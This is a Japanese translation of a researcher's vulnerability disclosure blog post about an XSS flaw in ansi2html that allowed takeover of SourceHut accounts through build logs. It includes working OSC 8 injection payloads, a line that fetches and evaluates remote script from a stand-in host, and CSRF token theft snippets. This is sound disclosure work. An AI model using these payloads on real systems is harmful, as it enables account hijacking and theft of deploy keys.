Sourcehutアカウント乗っ取り:ビルドログ経由のXSS(ansi2htmlにおける脆弱性)
Sourcehut account takeover via build logs (XSS in ansi2html) (blog.arusekk.pl)
要約
SourceHutのビルドログ表示機能におけるクロスサイトスクリプティング(XSS)の脆弱性が発見されました。これは、ANSIエスケープシーケンスをHTMLに変換する`ansi2html`ライブラリが、悪意のあるリンクや属性を適切にサニタイズしないために発生します。この脆弱性を悪用すると、攻撃者はビルドログを閲覧したユーザーのブラウザ上で任意のコードを実行し、アカウントの乗っ取りや機密情報へのアクセスが可能になります。
全文翻訳
SourceHutアカウント乗っ取り:ビルドログ経由のXSS(ansi2html.pyにおける脆弱性) | CVE-2026-92973
私の初めての大きな影響力を持つ脆弱性報告へようこそ!
良い物語が好きなので、まず背景から説明させてください。最近、「素晴らしい」(わかっています、わかっています、もうやめるべきですね)アイデアを思いつき、プロジェクトのホスティングに対して報酬を支払うsr.htインスタンスをセットアップしました。もし試してみたい、あるいはソーシャルメディアで私を炎上させたい場合は、タイムラインセクションで恥ずかしげもなく宣伝しています。
さて、物語です。最初のステップは、sr.htのリポジトリの最小限のサブセットをクローンし、ハッキングを開始することでした。
NLPは使用していません
今年度の脆弱性リサーチ提出物には、以下の声明を含めるようにしています。ご自由に解釈してください。
このリサーチではNLPは使用していません。間違いはすべて私のものです。
構造
SourceHutは複数のマイクロサービスで構成されており、主要なものとしてはmeta.sr.ht、おそらくgit.sr.htまたはhub.sr.ht(フラッグシップインスタンスは単にsr.htでホストしています)があります。そしてもちろん、CIであるbuilds.sr.htもあります。
あまり知られていないものにmirror.sr.ht(mirror.srht.networkへ移行中)があり、様々なマイクロサービス用の事前ビルドされたパッケージが含まれています。
このアプローチは気に入っています。なぜなら、フラッグシップインスタンスのディストリビューションバージョンと完全に一致する任意のマシンで、非常に簡単に開始できるからです。
もしお気に入りのプロジェクトが現在 curl|sudo bash によるインストールや「このフォルダでClaudeを起動するだけ」(引用符付き)を推奨しているなら、エンドユーザーにソフトウェアを実際のソフトウェアパッケージで配布するという、それほど劣らない選択肢について、ご自身で認識するようご検討ください。1
Alpineパッケージのビルド
したがって、もしあなたが異なるディストリビューション、あるいはAlpineの異なるバージョンを使用している場合、あなたは少し自分で対処する必要があります。そこで sr.ht-apkbuilds リポジトリがあり、それを「フォーク」して、あなたの署名キー、あなたのAlpineバージョン、あなたのミラーを使用できます。Arch用の sr.ht-pkgbuilds もありますが、これは現時点では実質的にメンテナンスされていません。2
これには、パッケージをブートストラップするためにbuilds.sr.htを使用することが含まれます。ビルドログのページソースを見ていたのですが、スクロールが意図した場所で止まらず、少しイライラしました。
そこで、これを見つけました:
/* ... */
.ansi38-150150150 { color: #969696; }
.ansi38-150150150 { color: #969696; }
.ansi38-150150150 { color: #969696; }
.ansi38-150150150 { color: #969696; }
.ansi38-150150150 { color: #969696; }
.ansi38-150150150 { color: #969696; }
.ansi38-150150150 { color: #969696; }
.ansi38-150150150 { color: #969696; }
.ansi38-150150150 { color: #969696; }
.ansi38-150150150 { color: #969696; }
.ansi38-150150150 { color: #969696; }
/* ... */
私はこれを詳しく調べ、おそらく修正しようと決めました。SourceHutは気に入っています。かなりの計算リソースと帯域幅が無駄になっているのがわかります。私は彼らが豊かになって他の人々も追随することを望んでおり、無駄な浪費がそれを遅らせています。3
ANSIエスケープコードをHTMLに変換するロジックを調べ、それについて問題を報告しました。https://github.com/pycontribs/ansi2html/issues/259。その時点でリポジトリには1年以上活動がありませんでしたので、自分でパッチを受け取るのが好きなので、作業することにしました。これはすぐに、この特定の問題を修正するPRを提出することにつながりました。https://github.com/pycontribs/ansi2html/pull/260。
Capture The Flagの経験から、私はansi2htmlをさらに詳しく調べ、他のバグを探し始めました(特に自分でホストする予定なので!)。色のためのエスケープシーケンスの解析に加えて、自動リンクやOSC 8ハイパーリンクも許可されています。コードがまだ十分に構造化されていないため、この素晴らしいXSSチートシート(今では私のブックマークに永久保存されています)を読んだ後、悪意のある入力文字列を作成することができました:
$ printf '\33]8;;https://example.com/"/autofocus/tabindex="1"/onfocus="alert`xss`\7Nothing to see here\33]8;;
7' | ansi2html
[...]
<a href="https://example.com/"/autofocus/tabindex="1"/onfocus="alert`xss`">Nothing to see here</a>
[...]
$ printf '\33]8;;javascript:alert`xss`\7Nothing to see here\33]8;;
7' | ansi2html
[...]
<a href="javascript:alert`xss`">Nothing to see here</a>
[...]
前者は説明の価値があります。なぜかはわかりませんが、確認できるように、これは次と同じDOMツリーに解析されます:
<a
href="https://example.com/"
autofocus
tabindex="1"
onfocus="alert`xss`">
Nothing to see here
</a>
したがって、もしビルドジョブのログに ␛]8;;https://example.com/"/...␇ が表示されるようにできるなら4(これは、アカウントを持っていなくても、継続的インテグレーションが有効になっている公開メーリングリストにパッチを送信するか、ログに表示される任意のリモートリソースを制御することによって可能です)、おめでとうございます。あなたは、それを表示するすべてのブラウザでペイロードを実行するビルドジョブを https://builds.sr.ht/~someone-else/job/1234567 に作成しました。ジョブ自体を送信することもできますが、フラッグシップインスタンスの有料アカウントが必要です。そして現在、匿名での支払いはありません。
悪用(自宅で試さないでください)
実際のペイロードは、eval(await (await fetch('https://example.com')).text()) のような攻撃者のウェブサイトからダウンロードできますが、それが何をする可能性があるかについての推測を以下に示します。
ビルドログページにはすでにCSRFトークンが含まれています。例えば document.querySelector('[name=_csrf_token]').value で読み取ることができます。あるいは、既存のフォーム(「ビルドを再送信」ボタンの一部)を使用することもできます。例えば document.querySelector('[name=manifest]').value=`something`;document.forms[0].submit()。管理者に表示させることができれば、おそらくあなた自身に管理者権限を付与できます。さらに悪い影響としては、すべてのデプロイキーにアクセスできることです。そしてbuilds.sr.htでは、sr.ht自体のデプロイキーがあります(他のインスタンスではおそらくそうではありません)。
ペイロードのこの部分の作成は、好奇心旺盛な読者の演習とします。何度強調しても足りないほどですが:ワームは自分のインフラストラクチャでのみテストしてください。そして本番環境では決して行わないでください。たとえそれがあなたの本番環境であってもです。
ここでの多層防御はどのように行うか?
Content-Security-Policyを制限することによって。私はこの分野の専門家ではありませんが、「unsafe-inline」を削除することは良い第一歩でしょう(それ自体は有用なアドバイスではありません。なぜなら、ビルドログページ自体でさえ、スクロールのためにインラインスクリプトが現在使用されているからです)。
追加のサニタイズ(SourceHutは追加しましたが、過剰すぎるため、色はもう表示されません!)。
そして、ansi2htmlのコードをステートフルなトランスデューサーオートマトン的なものに再構築することによって。
私はすぐに ~sircmpwn/sr.ht-security@lists.sr.ht にメールを送り、問題全体と、少なくとも最悪の部分を軽減する修正を説明しました。
Drew(Drewと呼んでもいいですか?私たちは皆Sourceの兄弟だと思います)は、代わりにansi2htmlからの出力を自動サニタイズするようにbuilds.sr.htをパッチしました。これも良い選択でした。
アップストリーム
その後、アップストリームに連絡しました(おそらく少し遅すぎましたか?正確なタイムラインは以下)。Ansi2htmlは、Randall Munroeによる有名で、今では死ぬほど叩かれたコミックストリップで紹介されているプロジェクトの1つです。https://is.gd/WVZvnI5 GitHubのpycontribs orgの下に置かれており、そこには不吉な声明があります:
PyContribsの主な目的は、さまざまなPython関連プロジェクトがメンテナンスされ続けることを保証することです。
私は、問題をまだ公開しないために、過去5年ほどのコントリビュータグラフのトップ2人に、git履歴からのメールで連絡しました。ただし、SourceHutのアナウンスによってすでに公開されていました。
「メイン」のメンテナーだと信じていた人(Sorin Sbarnea)は、今日まで返信がありません(おそらく休暇中かもしれません)。しかし、もう一人(Sebastian Pipping)は返信しました。そして、そのメッセージは、私が受け取るには珍しい、暗号めいた「2週間後にメールしてください」というものでした。
そこで私は2週間辛抱強く待ち、別の nascent business(試させてください、いいですか?)を抱えながら、メールを送りました。
アップストリームの支援
Sebastian(Sebastianと呼んでもいいですか?)は素晴らしい人物であることが判明し、リポジトリのACLに関する何らかの理由で私が必要だと判断しました。私たちは、ansi2htmlを一時停止状態から復帰させ、いくつかの古いスクリプトを更新し、一緒にansi2htmlの3〜4バージョンをPyPIにリリースしました。
私は役立とうとしましたが、私の博士号取得(仮)に関連するいくつかのことが進行中だったため、いくらか遅延が生じました。
CVEへの申請
CVSSスコアリングは誤りであるというホットテイクから始めましょう。それは製品ごとに別々であるべきで、単一の根本原因コードパスに対して1つだけであるべきではありません。
CVSSの目的は、結局のところ、ダウンストリームユーザーにパッチを適用するかどうかについて有用な情報を提供することです。研究者にはそれをできるだけ高くするインセンティブがあります。そしてプロジェクトにはそれを軽視するインセンティブがあります。彼らはそれを修正したいのですが、事務手続きや、それをすべて(そして私はそれを完全に理解しています!)やり取りする際の機密性のダンスを避けたいのです。
問題は、すべてのソフトウェアが平等に生まれているわけではないということです。これは特にlibcurlのようなライブラリの場合に当てはまります。
CVSS 4.0は、少なくともCVSS 3.xよりは少し優れています。脆弱なシステムと後続のシステムを区別するようになりました。XSS脆弱性の場合、典型的なアプローチは、Webサービスが脆弱であり、ブラウザが後続であると言うことです(バグはサービスにありますが、その後、Webサービス自体を攻撃するためにまず被害者のブラウザに影響を与えるため、ある程度理にかなっています)。
私が最初に考えたベクトルはVulnCheckによって変更されました。理由はわかりませんが、元に戻せるかもしれませんか?あるいは、気にする価値はないかもしれません。どう思いますか?CVE DBにこのブログ投稿を追加したいのですが、方法を確認する必要があるかもしれません。
- AV:N - 攻撃ベクトル:ネットワーク
- AC:L - 攻撃複雑性:低(推測は不要、攻撃のバイパスや同期は不要)
- AT:N - 要件:なし(特定の構成が必要な場合とは対照的)
- PR:N - 必要な権限:なし(メールを送信するだけですか?lists.sr.htがなかった場合も低かもしれません)
- UI:P - ユーザーインタラクション:パッシブ(被害者はJavaScriptがオンになっているサイトを訪問する必要がある - 唯一の問題、解決は容易)
脆弱なシステム(builds.sr.ht / sr.ht全体)
- VC:H - 機密性への影響:高(直接的かつ深刻な機密性の喪失を引き起こす - 秘密が漏洩する)
- VI:H - 完全性への影響:高(デプロイキーにアクセスできる被害者として悪意のあるビルドジョブを送信できる)
- VA:N - 可用性への影響:なし(サービス全体を停止させることはできない、ビルドワーカーを詰まらせることがカウントされない限り)
後続のシステム(被害者のブラウザ)
- SC:L - 機密性:低(厳密にスコープされた秘密への限定的なアクセス)
- SI:L - 完全性:低(厳密にスコープされたリクエストを偽造する能力)
- SA:N - 可用性:なし(直接の訪問以上のものはない)
補足
- AU:Y - 自動化可能:はい(ワーム化可能 - 被害者はすぐに他のユーザーを攻撃し、スコープを広げることができる)
- R:I - 回復:回復不能(ユーザーはビルドジョブを削除できず、隠すことしかできない)
- V:C - 値密度:集中(単一のインスタンスが多くの価値あるプロジェクトと価値あるデプロイ秘密をホストしている)
- RE:L - 対応努力:低(基本的な緩和策:プロキシレベルでのCSPヘッダー挿入)
- U:Amber - 緊急度:アンバー(中程度の緊急度:インフラに直接の危険をもたらすが、長年放置されている)
正確な影響は実際のユーザーによって議論されるべきですが(結局、SourceHutはJavaScriptなしでうまく機能すると自慢しています)、私は単なる中程度ではなく、高またはクリティカルを主張します。なぜなら、もし私がブラックハットなら、Drewが影響を受けたビルドログをJavaScriptがオンの状態で訪問しただけで十分であり、SourceHutのデプロイキーにアクセスできる彼の名前でビルドジョブを送信できたからです。それがどのようにしてお金になったり、逃げ切れたりするかはわかりません。子供たち、やらないでください。どんな興奮もそれを正当化しません。
脆弱なバージョン
ansi2html >=1.7.0, <1.9.4, builds.sr.ht >= 0.40.0, < 0.105.1
侵害の兆候
生のビルドログで ␛]8;;https://example.com/"/...␇ または ␛]8;;javascript:...␇ を探してください。Bashでは、前者についてはおそらく grep $' 33]8;[^ 7 33]*"' のようなものになるでしょう。
完全なタイムライン(すべてに永久記録があって嬉しいです!)
このタイムラインにはあまり誇りを持っていませんが、まあ、少なくともすべてが修正され、それを使用しようとした記録(おそらく)はありません。両方のシステムがかつて推奨されていたため、公式のArch Linuxリポジトリとsr.ht Alpine Linuxリポジトリを含めます。
- 2019-03-11: ansi2htmlがbuilds.sr.htに追加される そしてsr.ht-apkbuildsに追加される
- 2021-09-03: バグがアップストリームのansi2htmlに導入される
- 2022-02-08: 影響を受けるバージョンがAlpine用にパッケージ化され、フラッグシップインスタンスで稼働する
- 2022-07-10: 影響を受けるバージョンがArch Linux用にパッケージ化される
- 2026-07-17: 私がドメインをいくつか購入するかもしれない6
- 2026-07-31: SourceHutでの作業を開始する
- 2026-08-01: ansi2htmlアップストリームに問題とTrueColorバグを修正するPRを提出する。ansi2htmlの予備パッチを作成し、~sircmpwn/sr.ht-security@lists.sr.htに送信する。
- 2026-08-04: builds.sr.htコードでバグが軽減される; Drew DeVaultから脆弱性を確認するメールを受け取る。Drewが私に公開で言及してくれる(ありがとう!感謝します!)。
- 2026-08-06: バグがアップストリームに報告され、即座に承認される
- 2026-08-20: アップストリームにpingする
- 2026-08-22: Sebastianが返信し、作業時期を設定する
- 2026-08-24: 実際の脆弱性に対処する前に、ansi2htmlのCIを円滑にする試み
- 2026-08-29: バージョン1.9.3が公開されるが、脆弱性は修正されない
- 2026-08-31: プロジェクトオーナーに報酬を支払うソフトウェアフォージに取り組んでいることを投稿で示唆する
- 2026-09-02: 最終修正のPRがプッシュされ、バージョン1.9.4が公開され、脆弱性が修正される
- 2026-09-04: Alpine Linuxがansi2htmlを修正済みバージョンに更新する7
- 2026-09-05: Arch Linuxがansi2htmlを修正済みバージョンに更新する
- 2026-09-xx: 人生が起こり、生活を維持するために少し多くの仕事をした
- 2026-09-23: このブログ投稿(実際には-09-24、もう深夜なので。ため息。)
- 2077-??-??: 利益…?
ansi2htmlを注意深く監査しても、SourceHutを救うことはできなかったことに注意してください。それは、すべてのアップデートで再監査しない限りです。builds.sr.htは(ほぼ正確に)4.5年間脆弱なままでした。
感謝
ブラックハットの誘惑を遠ざけてくれた神に。Danonek123に、私のそばにいてくれたことに。愛しています。
要約
ほら、脆弱性リサーチはサーカスである必要はないし、セキュリティシアターである必要もないし、官僚主義との弁護士を介した戦いである必要もない。しかし、そうしないと、あなたはより良い結果を得られないかもしれない。
CTFとマイナーカンファレンスへの招待(そして、かつてAntmicroにいた頃にインターンシップの一部としてVRを許可されたこと(今でも感謝しています))を除けば、私の脆弱性リサーチから得た収益は、指標として0.00ユーロ(つまり0.00ドル)です。もし私をサポートしたいなら(VRに費やす時間を増やすために)、何か購入することを検討してください。寄付よりもそちらの方が好きです(もちろん、寄付も結構です!)。プロのセキュリティコンサルティングも承ります。
まだ終わりではありません!もっと来る予定ですが、議論の余地なく、それほどクリティカルではありません。見逃したくない場合は、私のRSSを購読してください。
- あるいは、少なくともオプションの超シンプルな
configureスクリプトを提供して、make install/ninja installを実行できるようにし、他の人が簡単にパッケージ化できるようにしてください。(ところで、なぜ人々がAppImageを使うのか、静的バイナリではなく、まだ理解できません。)↩︎ - Archでsr.htをホストしたい場合は、まだパッチを送信できるはずです!↩︎
- やあ Drew/Conrad/Simon/(誰か漏れていたらごめんなさい!)、sr.ht-apkbuildsでansi2htmlを更新するとき、実際に最初にbuilds.sr.htを再起動するときは、builds.sr.htへの帯域幅への影響を測定してください。ここにリンクします。↩︎
- はい、それはダッシュです。私はポーランドのタイポグラフィを使用しています。なぜなら、私に応答するエディタがないからです。ただし、自由に訂正してください。私のドライブバイエディタになれます。↩︎
- おっと、間違ったリンクです。もちろん、https://xkcd.com/2347/ のことです。↩︎
- 全く衝動買いではありません。「投資されている感覚を得るため」と自分に言い聞かせました。↩︎
- 正確には、SourceHutは公式にはAlpine 3.22でのみサポートされており、これはpy3-ansi2htmlを搭載していないため、sr.ht-apkbuildsが必要です。↩︎